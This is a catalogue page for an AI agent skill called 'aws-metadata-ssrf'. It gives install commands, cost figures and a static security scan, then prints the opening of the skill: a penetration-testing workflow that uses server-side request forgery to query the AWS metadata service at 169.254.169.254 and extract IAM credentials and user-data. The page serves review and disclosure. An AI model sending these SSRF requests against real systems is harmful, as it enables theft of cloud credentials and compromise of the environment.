Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/aws-metadata-ssrfWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/aws-metadata-ssrf)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/aws-metadata-ssrf"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/aws-metadata-ssrf/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/aws-metadata-ssrf"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/aws-metadata-ssrf.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00069 | $0.01090 |
| Opus 5 | $0.00034 | $0.00545 |
| Sonnet 5 | $0.00014 | $0.00218 |
| Haiku 4.5 | $0.00007 | $0.00109 |
Grade B, and why
aws-metadata-ssrf scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Cloud metadata endpointmediumServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
# GET /fetch_url?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1 Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
tools: [burp-suite, curl, aws-cli] This is a copy
100% identical to aws-metadata-ssrf — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 123 lines — stays where its author put it; the contents beside it link to each section on GitHub.
AWS IMDS SSRF Exploitation
When to Use
- During a penetration test of a web application hosted on AWS EC2 or ECS that exhibits SSRF vulnerabilities.
- To demonstrate impact by escalating from a web vulnerability to AWS cloud infrastructure compromise via IAM credential theft.
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Identifying the SSRF
# Concept: Test the target application for SSRF GET /fetch_url?url=http://example.com HTTP/1.1
Host: target.app
Phase 2: Querying AWS IMDSv1
# GET /fetch_url?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: target.app
Phase 3: Extracting IAM Roles and Credentials
# GET /fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
# GET /fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebServerRole HTTP/1.1
(The response will contain a JSON object with AccessKeyId, SecretAccessKey, and Token)
Phase 4: Accessing User Data
# # GET /fetch_url?url=http://169.254.169.254/latest/user-data HTTP/1.1
(User Data often contains sensitive initialization scripts, database passwords, or API keys).
Decision Point 🔀
flowchart TD
A[Send IMDS Payload ] --> B{Response 200 OK? }
B -->|Yes| C[Extract Data ]
B -->|No/401| D[IMDSv2 Enforced? ]
C --> E[Configure AWS CLI ]
🔵 Blue Team Detection & Defense
- Migrate to IMDSv2: Network Restrictions: Least Privilege IAM: Key Concepts | Concept | Description | |---------|-------------|
Output Format
Aws Metadata Ssrf — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 123 lines · 69 tokens per session scan B 6ae01252025b
aws-metadata-ssrf is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 69 tokens to every session and 1,090 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 2 findings (cloud metadata endpoint, makes network calls). It is 100% identical to aws-metadata-ssrf, differing in 0 lines, and is treated as a copy.
Other skills, from other repositories
aws-metadata-ssrf
Exploit Server-Side Request Forgery (SSRF) vulnerabilities in applications hosted on AWS EC2 instances to extract IAM credentials and User Data from the Instance Metadata Service (IMDS). This skill covers techniques for bypassing basic filters to access IMDSv1 and concepts of IMDSv2.
aws-metadata-ssrf-exploitation
Exploit Server-Side Request Forgery (SSRF) vulnerabilities on Amazon Web Services (AWS) EC2 instances to access the highly sensitive Instance Metadata Service (IMDS). Circumvent basic protections and extract temporary IAM access keys, escalating privileges comprehensively across the AWS Cloud environment.
cis-aws-foundations-6.7
Ensure that the EC2 Metadata Service only allows IMDSv2.
cis-aws-compute-2.8
Ensure the Use of IMDSv2 is Enforced on All Existing Instances.
securing-aws-lambda-execution-roles
Securing AWS Lambda execution roles by implementing least-privilege IAM policies, applying permission boundaries, restricting resource-based policies, using IAM Access Analyzer to validate permissions, and enforcing role scoping through SCPs.
performing-cloud-native-threat-hunting-with-aws-detective
Hunt for threats in AWS environments using Detective behavior graphs, entity investigation timelines, GuardDuty finding correlation, and automated entity profiling across IAM users, EC2 instances, and IP addresses.